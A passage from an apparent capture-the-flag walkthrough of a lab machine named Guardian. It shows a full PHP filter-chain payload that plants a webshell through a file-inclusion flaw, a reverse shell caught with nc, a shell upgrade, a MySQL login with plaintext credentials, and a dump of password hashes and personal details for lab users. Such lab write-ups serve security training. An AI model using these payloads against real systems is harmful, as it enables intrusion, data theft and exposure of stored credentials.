S.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
To pass the restrictions, I’ll replace the php://temp with reports/enrollment.php, and load the URL:
It works:
The injected PHP is run. The results also confirm that remote includes are disabled:
I’ll create a new chain with a webshell:
oxdf@hacky$ uv run php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
[+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]); ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
Now my URL will be:
http://portal.guardian.htb/admin/reports.php?cmd=id&report=php://filter...[snip].../resource=reports/enrollment.php
It works:
To get a shell, I’ll update the URL with a bash reverse shell, and catch it at nc:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.237.248 46204
bash: cannot set terminal process group (1139): Inappropriate ioctl for device
bash: no job control in this shell
www-data@guardian:~/portal.guardian.htb/admin$
I’ll upgrade my shell using the standard trick:
www-data@guardian:~$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@guardian:~$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@guardian:~$
Shell as jamil
Enumeration
Users
/home has four user’s home directories:
www-data@guardian:/home$ ls
gitea jamil mark sammy
www-data can’t access any of them. This matches the users with shells configured in passwd:
www-data@guardian:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
jamil:x:1000:1000:guardian:/home/jamil:/bin/bash
mark:x:1001:1001:ls,,,:/home/mark:/bin/bash
gitea:x:116:123:Git Version Control,,,:/home/gitea:/bin/bash
sammy:x:1002:1003::/home/sammy:/bin/bash
sudo requires a password to even list permissions, and I wouldn’t expect www-data to have sudo permissions unless the website was doing something that specifically used them.
Web
The www-data user’s home directory is /var/www, which has three directories:
www-data@guardian:~$ ls
guardian.htb html portal.guardian.htb
html is empty. Otherwise, the source looks very much like what I retrieved from Gitea.
I can connect to the database using the creds found in the source:
www-data@guardian:~$ mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3996
Server version: 8.0.43-0ubuntu0.22.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
There are nine tables:
mysql> show tables;
+----------------------+
| Tables_in_guardiandb |
+----------------------+
| assignments |
| courses |
| enrollments |
| grades |
| messages |
| notices |
| programs |
| submissions |
| users |
+----------------------+
9 rows in set (0.00 sec)
The users table is the most interesting at this point:
mysql> describe users;
+---------------+------------------------------------+------+-----+-------------------+-----------------------------------------------+
| Field | Type | Null | Key | Default | Extra |
+---------------+------------------------------------+------+-----+-------------------+-----------------------------------------------+
| user_id | int | NO | PRI | NULL | auto_increment |
| username | varchar(255) | YES | UNI | NULL | |
| password_hash | varchar(255) | YES | | NULL | |
| full_name | varchar(255) | YES | | NULL | |
| email | varchar(255) | YES | | NULL | |
| dob | date | YES | | NULL | |
| address | text | YES | | NULL | |
| user_role | enum('student','lecturer','admin') | YES | | student | |
| status | enum('active','inactive') | YES | | active | |
| created_at | timestamp | YES | | CURRENT_TIMESTAMP | DEFAULT_GENERATED |
| updated_at | timestamp | YES | | CURRENT_TIMESTAMP | DEFAULT_GENERATED on update CURRENT_TIMESTAMP |
+---------------+------------------------------------+------+-----+-------------------+-----------------------------------------------+
11 rows in set (0.00 sec)
There are 63 users!
mysql> select * from users;
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| user_id | username | password_hash | full_name | email | dob | address | user_role | status | created_at | updated_at |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| 1 | admin | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 | System Admin | admin@guardian.htb | 2003-04-09 | 2625 Castlegate Court, Garden Grove, California, United States, 92645 | admin | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 2 | jamil.enockson | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 | Jamil Enocksson | jamil.enockson@guardian.htb | 1999-09-26 | 1061 Keckonen Drive, Detroit, Michigan, United States, 48295 | admin | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 3 | mark.pargetter | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e | Mark Pargetter | mark.pargetter@guardian.htb | 1996-04-06 | 7402 Santee Place, Buffalo, New York, United States, 14210 | admin | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 4 | valentijn.temby | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 | Valentijn Temby | valentijn.temby@guardian.htb | 1994-05-06 | 7429 Gustavsen Road, Houston, Texas, United States, 77218 | lecturer | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 5 | leyla.rippin | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 | Leyla Rippin | leyla.rippin@guardian.htb | 1999-01-30 | 7911 Tampico Place, Columbia, Missouri, United States, 65218 | lecturer | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 6 | perkin.fillon | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 | Perkin Fillon | perkin.fillon@guardian.htb | 1991-03-19 | 3225 Olanta Drive, Atlanta, Georgia, United States, 30368 | lecturer | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 7 | cyrus.booth | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 | Cyrus Booth | cyrus.booth@guardian.htb | 2001-04-03 | 4214 Dwight Drive, Ocala, Florida, United States, 34474 | lecturer | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 8 | sammy.treat | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 | Sammy Treat | sammy.treat@guardian.htb | 1997-03-26 | 13188 Mount Croghan Trail, Houston, Texas, United States, 77085 | lecturer | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 9 | crin.hambidge | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 | Crin Hambidge | crin.hambidge@guardian.htb | 1997-09-28 | 4884 Adrienne Way, Flint, Michigan, United States, 48555 | lecturer | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 10 | myra.galsworthy | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 | Myra Galsworthy | myra.galsworthy@guardian.htb | 1992-02-20 | 13136 Schoenfeldt Street, Odessa, Texas, United States, 79769 | lecturer | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 11 | mireielle.feek | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 | Mireielle Feek | mireielle.feek@guardian.htb | 2001-08-01 | 13452 Fussell Way, Raleigh, North Carolina, United States, 27690 | lecturer | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 12 | vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a | Vivie Smallthwaite | vivie.smallthwaite@guardian.htb | 1993-04-02 | 8653 Hemstead Road, Houston, Texas, United States, 77293 | lecturer | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 13 | GU0142023 | 5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829 | Boone Basden | GU0142023@guardian.htb | 2001-09-12 | 10523 Panchos Way, Columbus, Ohio, United States, 43284 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 14 | GU6262023 | 87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f | Jamesy Currin | GU6262023@guardian.htb | 2001-11-28 | 13972 Bragg Avenue, Dulles, Virginia, United States, 20189 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 15 | GU0702025 | 48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1 | Stephenie Vernau | GU0702025@guardian.htb | 1996-04-16 | 14649 Delgado Avenue, Tacoma, Washington, United States, 98481 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 16 | GU0762023 | e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2 | Milly Saladine | GU0762023@guardian.htb | 1995-11-19 | 2031 Black Stone Place, San Francisco, California, United States, 94132 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 17 | GU9492024 | 8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1 | Maggy Clout | GU9492024@guardian.htb | 2000-05-30 | 8322 Richland Road, Billings, Montana, United States, 59112 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 18 | GU9612024 | cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57 | Shawnee Bazire | GU9612024@guardian.htb | 2002-05-27 | 4364 Guadalupe Court, Pensacola, Florida, United States, 32520 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 19 | GU7382024 | 7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a | Jobey Dearle-Palser | GU7382024@guardian.htb | 1998-04-14 | 4620 De Hoyos Place, Tampa, Florida, United States, 33625 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 20 | GU6632023 | 98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714 | Erika Sandilands | GU6632023@guardian.htb | 1994-06-08 | 1838 Herlong Court, San Bernardino, California, United States, 92410 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 21 | GU1922024 | bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd | Alisander Turpie | GU1922024@guardian.htb | 1998-08-07 | 813 Brody Court, Bakersfield, California, United States, 93305 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 22 | GU8032023 | 41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada | Wandie McRobbie | GU8032023@guardian.htb | 2002-01-16 | 5732 Eastfield Path, Peoria, Illinois, United States, 61629 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 23 | GU5852023 | e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a | Erinn Franklyn | GU5852023@guardian.htb | 2003-05-01 | 50 Lindsey Lane Court, Fairbanks, Alaska, United States, 99790 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 24 | GU0712023 | e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a | Niel Slewcock | GU0712023@guardian.htb | 1996-05-04 | 3784 East Schwartz Boulevard, Gainesville, Florida, United States, 32610 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 25 | GU1592025 | 1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71 | Chryste Lamputt | GU1592025@guardian.htb | 1993-05-22 | 6620 Anhinga Lane, Baton Rouge, Louisiana, United States, 70820 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 26 | GU1112023 | 168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d | Kiersten Rampley | GU1112023@guardian.htb | 1997-06-28 | 9990 Brookdale Court, New York City, New York, United States, 10292 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 27 | GU6432025 | a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6 | Gradeigh Espada | GU6432025@guardian.htb | 1999-06-06 | 5464 Lape Lane, Boise, Idaho, United States, 83757 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 28 | GU3042024 | d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab | Susanne Myhill | GU3042024@guardian.htb | 2003-04-12 | 11585 Homan Loop, Aiken, South Carolina, United States, 29805 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 29 | GU1482025 | be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f | Prudi Sweatman | GU1482025@guardian.htb | 1998-05-10 | 1533 Woodmill Terrace, Palo Alto, California, United States, 94302 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 30 | GU3102024 | 3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706 | Kacey Qualtrough | GU3102024@guardian.htb | 1996-03-09 | 14579 Ayala Way, Spokane, Washington, United States, 99252 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 31 | GU7232023 | 4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6 | Thedrick Grimstead | GU7232023@guardian.htb | 1998-05-20 | 13789 Castlegate Court, Salt Lake City, Utah, United States, 84130 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 32 | GU8912024 | 6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51 | Dominik Clipsham | GU8912024@guardian.htb | 1999-06-30 | 7955 Lock Street, Kansas City, Missouri, United States, 64160 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 33 | GU4752025 | 4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a | Iain Vinson | GU4752025@guardian.htb | 1990-10-13 | 10384 Zeeland Terrace, Cleveland, Ohio, United States, 44105 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 34 | GU9602024 | 6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2 | Ax Sweating | GU9602024@guardian.htb | 1994-06-22 | 4518 Vision Court, Sarasota, Florida, United States, 34233 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 35 | GU4382025 | 8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8 | Trixi Piolli | GU4382025@guardian.htb | 2001-02-02 | 11634 Reid Road, Charleston, South Carolina, United States, 29424 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 36 | GU7352023 | 8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005 | Ronni Fulton | GU7352023@guardian.htb | 1998-11-07 | 4690 Currituck Terrace, Vero Beach, Florida, United States, 32964 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 37 | GU3042025 | 1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f | William Lidstone | GU3042025@guardian.htb | 1998-03-18 | 11566 Summerchase Loop, Providence, Rhode Island, United States, 02905 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 38 | GU3872024 | 12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a | Viola Bridywater | GU3872024@guardian.htb | 2003-07-21 | 9436 Erica Chambers Avenue, Bronx, New York, United States, 10454 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 39 | GU7462025 | 5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa | Glennie Crilly | GU7462025@guardian.htb | 1995-01-26 | 3423 Carla Fink Court, Washington, District of Columbia, United States, 20580 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 40 | GU3902023 | 6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b | Ninnette Lenchenko | GU3902023@guardian.htb | 1994-11-06 | 12277 Richey Road, Austin, Texas, United States, 78754 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 41 | GU1832025 | 6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f | Rivalee Coche | GU1832025@guardian.htb | 1990-10-23 | 2999 Indigo Avenue, Washington, District of Columbia, United States, 20022 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 42 | GU3052024 | 1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f | Lodovico Atlay | GU3052024@guardian.htb | 1992-04-16 | 5803 Clarendon Court, Little Rock, Arkansas, United States, 72231 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 43 | GU3612023 | 7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a | Maris Whyborne | GU3612023@guardian.htb | 1999-08-07 | 435 Quaint Court, Staten Island, New York, United States, 10305 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 44 | GU7022023 | 7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8 | Diahann Forber | GU7022023@guardian.htb | 1998-12-17 | 10094 Ely Circle, New Haven, Connecticut, United States, 06533 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 45 | GU1712025 | ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225 | Sinclair Tierney | GU1712025@guardian.htb | 1999-11-04 | 2885 Columbia Way, Seattle, Washington, United States, 98127 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 46 | GU9362023 | 8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592 | Leela Headon | GU9362023@guardian.htb | 1992-10-24 | 14477 Donelin Circle, El Paso, Texas, United States, 88589 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 47 | GU5092024 | 11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380 | Egon Jaques | GU5092024@guardian.htb | 1995-04-19 | 12886 Chimborazo Way, Fort Lauderdale, Florida, United States, 33315 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 48 | GU5252023 | 70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa | Meade Newborn | GU5252023@guardian.htb | 2003-09-02 | 3679 Inman Mills Road, Orlando, Florida, United States, 32859 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 49 | GU8802025 | 7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76 | Tadeo Sproson | GU8802025@guardian.htb | 2002-08-01 | 4293 Tim Terrace, Springfield, Illinois, United States, 62776 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 50 | GU2222023 | d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd | Delia Theriot | GU2222023@guardian.htb | 2001-07-15 | 5847 Beechwood Avenue, Chattanooga, Tennessee, United States, 37450 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 51 | GU9802023 | a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c | Ransell Dourin | GU9802023@guardian.htb | 1995-01-04 | 1809 Weaton Court, Chattanooga, Tennessee, United States, 37410 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 52 | GU3122025 | e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a | Franklyn Kuhndel | GU3122025@guardian.htb | 1991-06-05 | 11809 Mccook Street, Shawnee Mission, Kansas, United States, 66210 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 53 | GU2062025 | 0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8 | Petronille Scroggins | GU2062025@guardian.htb | 2001-06-16 | 11794 Byron Place, Des Moines, Iowa, United States, 50981 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 54 | GU3992025 | b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0 | Kittie Maplesden | GU3992025@guardian.htb | 2001-10-04 | 6212 Matisse Avenue, Palatine, Illinois, United States, 60078 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 55 | GU1662024 | 5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5 | Gherardo Godon | GU1662024@guardian.htb | 2002-04-17 | 9997 De Hoyos Place, Simi Valley, California, United States, 93094 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 56 | GU9972025 | 339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599 | Kippar Surpliss | GU9972025@guardian.htb | 1990-08-10 | 5372 Gentle Terrace, San Francisco, California, United States, 94110 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 57 | GU6822025 | 298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482 | Sigvard Reubens | GU6822025@guardian.htb | 2003-04-23 | 5711 Magana Place, Memphis, Tennessee, United States, 38104 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 58 | GU7912023 | 8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021 | Carly Buckler | GU7912023@guardian.htb | 1991-09-07 | 2298 Hood Place, Springfield, Massachusetts, United States, 01105 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 59 | GU3622024 | 1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf | Maryjo Gration | GU3622024@guardian.htb | 1997-04-25 | 1998 Junction Place, Irvine, California, United States, 92619 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
